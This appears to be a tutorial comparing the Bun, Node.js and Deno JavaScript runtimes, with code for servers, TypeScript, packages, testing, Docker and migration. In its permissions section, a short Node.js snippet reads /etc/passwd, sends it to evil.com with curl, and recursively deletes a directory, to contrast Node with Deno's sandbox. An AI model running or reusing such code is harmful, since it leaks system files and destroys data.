Bun vs Node.js vs Deno: Complete Comparison Guide

# Install Node.js
# Using fnm (recommended)
fnm install 22
fnm use 22
 
# Or download from https://nodejs.org
node --version  # v22.x.x

// hello.js — Node.js
const http = require('http');
 
const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'text/plain' });
  res.end('Hello from Node.js!');
});
 
server.listen(3000, () => {
  console.log('Server running on http://localhost:3000');
});

# Install Deno
curl -fsSL https://deno.land/install.sh | sh
 
deno --version  # deno 2.x.x

// hello.ts — Deno (TypeScript works out of the box)
Deno.serve({ port: 3000 }, (_req: Request) => {
  return new Response("Hello from Deno!");
});
 
console.log("Server running on http://localhost:3000");

# Install Bun
curl -fsSL https://bun.sh/install | bash
 
bun --version  # 1.x.x

// hello.ts — Bun (TypeScript works out of the box)
const server = Bun.serve({
  port: 3000,
  fetch(req) {
    return new Response("Hello from Bun!");
  },
});
 
console.log(`Server running on http://localhost:${server.port}`);

# Benchmark startup time
time node -e "console.log('hello')"
time deno eval "console.log('hello')"
time bun -e "console.log('hello')"

// Bun HTTP server
Bun.serve({
  port: 3000,
  fetch(req) {
    return new Response("Hello World");
  },
});
 
// Deno HTTP server
Deno.serve({ port: 3000 }, () => new Response("Hello World"));
 
// Node.js HTTP server
import { createServer } from "http";
createServer((req, res) => {
  res.end("Hello World");
}).listen(3000);

// Bun — File I/O
const file = Bun.file("data.json");
const content = await file.text();   // Fast native implementation
await Bun.write("output.txt", content);
 
// Node.js — File I/O
import { readFile, writeFile } from "fs/promises";
const content = await readFile("data.json", "utf-8");
await writeFile("output.txt", content);
 
// Deno — File I/O
const content = await Deno.readTextFile("data.json");
await Deno.writeTextFile("output.txt", content);

# Option 1: Compile with tsc
npx tsc && node dist/index.js
 
# Option 2: Use tsx (recommended for development)
npx tsx src/index.ts
 
# Option 3: Use ts-node
npx ts-node src/index.ts
 
# Option 4: Experimental (Node 22+)
node --experimental-strip-types src/index.ts

// tsconfig.json
{
  "compilerOptions": {
    "target": "ES2022",
    "module": "NodeNext",
    "moduleResolution": "NodeNext",
    "outDir": "dist",
    "strict": true,
    "esModuleInterop": true,
    "skipLibCheck": true
  },
  "include": ["src"]
}

# Install TypeScript and type definitions
npm install -D typescript @types/node tsx

// main.ts — just run it
interface User {
  id: number;
  name: string;
  email: string;
}
 
function greet(user: User): string {
  return `Hello, ${user.name}!`;
}
 
const user: User = { id: 1, name: "Alice", email: "alice@example.com" };
console.log(greet(user));

# No tsconfig.json needed, no install step
deno run main.ts

// deno.json
{
  "compilerOptions": {
    "strict": true,
    "jsx": "react-jsx",
    "jsxImportSource": "react"
  }
}

// main.ts — just run it
interface User {
  id: number;
  name: string;
  email: string;
}
 
function greet(user: User): string {
  return `Hello, ${user.name}!`;
}
 
const user: User = { id: 1, name: "Alice", email: "alice@example.com" };
console.log(greet(user));

# No tsconfig.json needed
bun run main.ts

# Initialize project
npm init -y
 
# Install packages
npm install express zod prisma
npm install -D typescript @types/express
 
# Run scripts
npm run dev
npm run build

project/
├── node_modules/       # Installed packages
│   ├── express/
│   ├── zod/
│   └── ...
├── package.json
├── package-lock.json   # Lock file
└── src/

// Import from JSR
import { Hono } from "jsr:@hono/hono";
 
const app = new Hono();
app.get("/", (c) => c.text("Hello Hono!"));

# Add packages via CLI
deno add jsr:@hono/hono
deno add npm:zod

// Import npm packages directly
import express from "npm:express";
import { z } from "npm:zod";

// Direct URL imports (original Deno pattern)
import { serve } from "https://deno.land/std@0.224.0/http/server.ts";

# Works in Deno 2.0+
deno install     # Like npm install, creates node_modules
deno task dev    # Like npm run dev

# Initialize project (same as npm)
bun init
 
# Install packages (same commands, much faster)
bun install
bun add express zod prisma
bun add -D typescript @types/express
 
# Run scripts
bun run dev
bun run build

project/
├── node_modules/       # Standard node_modules
├── package.json        # Standard package.json
├── bun.lockb           # Binary lockfile (fast to parse)
└── src/

// This runs without any warnings in Node.js
import { readFileSync, rmSync } from 'fs';
import { execSync } from 'child_process';
 
// Read sensitive files
const secrets = readFileSync('/etc/passwd', 'utf-8');
 
// Execute system commands
execSync('curl https://evil.com/steal?data=' + secrets);
 
// Delete files
rmSync('/important-data', { recursive: true });

# No permissions — this fails
deno run server.ts
# ❌ PermissionDenied: Requires net access
 
# Grant specific permissions
deno run --allow-net server.ts
deno run --allow-read=./data --allow-write=./output server.ts
deno run --allow-net=api.example.com server.ts
 
# Grant all permissions (not recommended for production)
deno run --allow-all server.ts

// Interactive permission prompt
const status = await Deno.permissions.request({ name: "read", path: "/tmp" });
if (status.state === "granted") {
  const data = await Deno.readTextFile("/tmp/data.txt");
}

# Full access, no restrictions
bun run server.ts

# Node.js built-in test runner (v22+)
node --test tests/

# Format code (like Prettier)
deno fmt
 
# Lint code (like ESLint)
deno lint
 
# Run tests (like Jest/Vitest)
deno test
 
# Type check (like tsc)
deno check main.ts
 
# Bundle (like esbuild)
deno compile main.ts
 
# Generate documentation
deno doc main.ts
 
# Benchmark
deno bench bench.ts

// test.ts — Deno's built-in test runner
import { assertEquals } from "jsr:@std/assert";
 
Deno.test("addition works", () => {
  assertEquals(1 + 1, 2);
});
 
Deno.test("async test", async () => {
  const response = await fetch("https://api.example.com/health");
  assertEquals(response.status, 200);
});

# Run files (TypeScript, JSX natively)
bun run index.ts
 
# Install packages (fastest npm client)
bun install
 
# Run tests (Jest-compatible)
bun test
 
# Bundle (like esbuild/webpack)
bun build ./src/index.ts --outdir ./dist
 
# Create executable
bun build --compile ./src/cli.ts --outfile myapp

// test.ts — Bun's built-in test runner (Jest-compatible API)
import { expect, test, describe } from "bun:test";
 
describe("math", () => {
  test("addition works", () => {
    expect(1 + 1).toBe(2);
  });
 
  test("async test", async () => {
    const response = await fetch("https://api.example.com/health");
    expect(response.status).toBe(200);
  });
});

// fetch — works in all three
const response = await fetch("https://api.example.com/data");
const data = await response.json();
 
// URL and URLSearchParams — works in all three
const url = new URL("https://example.com/path?key=value");
console.log(url.searchParams.get("key")); // "value"
 
// TextEncoder/TextDecoder — works in all three
const encoder = new TextEncoder();
const encoded = encoder.encode("Hello World");
 
// Web Crypto — works in all three
const hash = await crypto.subtle.digest(
  "SHA-256",
  new TextEncoder().encode("hello")
);

// Bun.file — Fast file access
const file = Bun.file("package.json");
console.log(await file.text());
console.log(file.size);  // Size without reading content
 
// Bun.serve — High-performance HTTP server
Bun.serve({
  port: 3000,
  fetch(req) {
    return new Response("Hello!");
  },
});
 
// Bun.build — Built-in bundler
await Bun.build({
  entrypoints: ["./src/index.ts"],
  outdir: "./dist",
  minify: true,
});
 
// Bun.password — Built-in password hashing
const hash = await Bun.password.hash("my-password");
const isValid = await Bun.password.verify("my-password", hash);
 
// Bun.sql — Built-in SQL client (Bun 1.2+)
import { sql } from "bun";
const users = await sql`SELECT * FROM users WHERE id = ${userId}`;

// Deno.serve — Web-standard HTTP server
Deno.serve((req) => new Response("Hello!"));
 
// Deno.readTextFile — Simple file operations
const content = await Deno.readTextFile("./data.txt");
 
// Deno.Command — Run system commands
const command = new Deno.Command("git", {
  args: ["status"],
  stdout: "piped",
});
const output = await command.output();
 
// Deno KV — Built-in key-value database
const kv = await Deno.openKv();
await kv.set(["users", 1], { name: "Alice" });
const user = await kv.get(["users", 1]);
 
// Deno.cron — Built-in cron scheduler (Deno Deploy)
Deno.cron("daily report", "0 9 * * *", () => {
  console.log("Generating daily report...");
});

// Express.js — Most popular
import express from "express";
const app = express();
 
// Fastify — Performance-focused
import Fastify from "fastify";
const app = Fastify();
 
// Hono — Lightweight, multi-runtime
import { Hono } from "hono";
const app = new Hono();

// Hono — Recommended for Deno APIs
import { Hono } from "jsr:@hono/hono";
const app = new Hono();
 
app.get("/", (c) => c.text("Hello Hono on Deno!"));
 
Deno.serve(app.fetch);

// Elysia — Bun-native framework (fastest)
import { Elysia } from "elysia";
 
new Elysia()
  .get("/", () => "Hello Elysia!")
  .get("/user/:id", ({ params: { id } }) => `User ${id}`)
  .listen(3000);

// Hono — Works great on Bun too
import { Hono } from "hono";
const app = new Hono();
 
app.get("/", (c) => c.text("Hello Hono on Bun!"));
 
export default app; // Bun auto-serves exported Hono apps

mkdir my-api && cd my-api
npm init -y
npm install express zod
npm install -D typescript @types/express @types/node tsx
npx tsc --init

// src/index.ts
import express from "express";
import { z } from "zod";
 
const app = express();
app.use(express.json());
 
const UserSchema = z.object({
  name: z.string().min(1),
  email: z.string().email(),
});
 
const users: Array<{ id: number; name: string; email: string }> = [];
 
app.get("/users", (req, res) => {
  res.json(users);
});
 
app.post("/users", (req, res) => {
  const result = UserSchema.safeParse(req.body);
  if (!result.success) {
    return res.status(400).json({ errors: result.error.flatten() });
  }
  const user = { id: users.length + 1, ...result.data };
  users.push(user);
  res.status(201).json(user);
});
 
app.listen(3000, () => {
  console.log("Server running on http://localhost:3000");
});

npx tsx src/index.ts    # Run in development
npx tsc && node dist/index.js  # Build and run in production

mkdir my-api && cd my-api
deno init
deno add jsr:@hono/hono npm:zod

// main.ts
import { Hono } from "@hono/hono";
import { z } from "zod";
 
const app = new Hono();
 
const UserSchema = z.object({
  name: z.string().min(1),
  email: z.string().email(),
});
 
const users: Array<{ id: number; name: string; email: string }> = [];
 
app.get("/users", (c) => {
  return c.json(users);
});
 
app.post("/users", async (c) => {
  const body = await c.req.json();
  const result = UserSchema.safeParse(body);
  if (!result.success) {
    return c.json({ errors: result.error.flatten() }, 400);
  }
  const user = { id: users.length + 1, ...result.data };
  users.push(user);
  return c.json(user, 201);
});
 
Deno.serve({ port: 3000 }, app.fetch);

deno run --allow-net main.ts    # Run with network permission
deno run --watch --allow-net main.ts  # Watch mode

mkdir my-api && cd my-api
bun init
bun add hono zod

// index.ts
import { Hono } from "hono";
import { z } from "zod";
 
const app = new Hono();
 
const UserSchema = z.object({
  name: z.string().min(1),
  email: z.string().email(),
});
 
const users: Array<{ id: number; name: string; email: string }> = [];
 
app.get("/users", (c) => {
  return c.json(users);
});
 
app.post("/users", async (c) => {
  const body = await c.req.json();
  const result = UserSchema.safeParse(body);
  if (!result.success) {
    return c.json({ errors: result.error.flatten() }, 400);
  }
  const user = { id: users.length + 1, ...result.data };
  users.push(user);
  return c.json(user, 201);
});
 
export default app; // Bun auto-serves

bun run index.ts        # Run
bun --watch index.ts    # Watch mode

# Node.js Dockerfile
FROM node:22-alpine
WORKDIR /app
COPY package*.json ./
RUN npm ci --production
COPY . .
RUN npm run build
EXPOSE 3000
CMD ["node", "dist/index.js"]

# Deno Dockerfile
FROM denoland/deno:latest
WORKDIR /app
COPY . .
RUN deno cache main.ts
EXPOSE 3000
CMD ["deno", "run", "--allow-net", "--allow-env", "main.ts"]

# Compile to single binary (no runtime needed)
deno compile --allow-net --allow-env main.ts
# Output: single executable file

# Bun Dockerfile
FROM oven/bun:latest
WORKDIR /app
COPY package.json bun.lockb ./
RUN bun install --frozen-lockfile --production
COPY . .
EXPOSE 3000
CMD ["bun", "run", "index.ts"]

# Compile to single binary
bun build --compile --minify index.ts --outfile myapp
# Output: single executable file

# Step 1: Install Bun
curl -fsSL https://bun.sh/install | bash
 
# Step 2: Replace npm with bun
bun install                    # Instead of npm install
 
# Step 3: Run your project
bun run dev                    # Instead of npm run dev
 
# Step 4: Replace tsx/ts-node
bun run src/index.ts          # Instead of npx tsx src/index.ts
 
# Step 5: Replace Jest with Bun's test runner (optional)
bun test                      # Instead of npx jest

# Step 1: Install Deno
curl -fsSL https://deno.land/install.sh | sh
 
# Step 2: Add deno.json configuration
deno init
 
# Step 3: Import npm packages with npm: prefix
# Before (Node.js):
# import express from "express";
# After (Deno):
# import express from "npm:express";
 
# Step 4: Or use package.json compatibility
# Deno 2.0+ reads package.json and node_modules
deno install     # Creates node_modules from package.json
deno task dev    # Runs scripts from package.json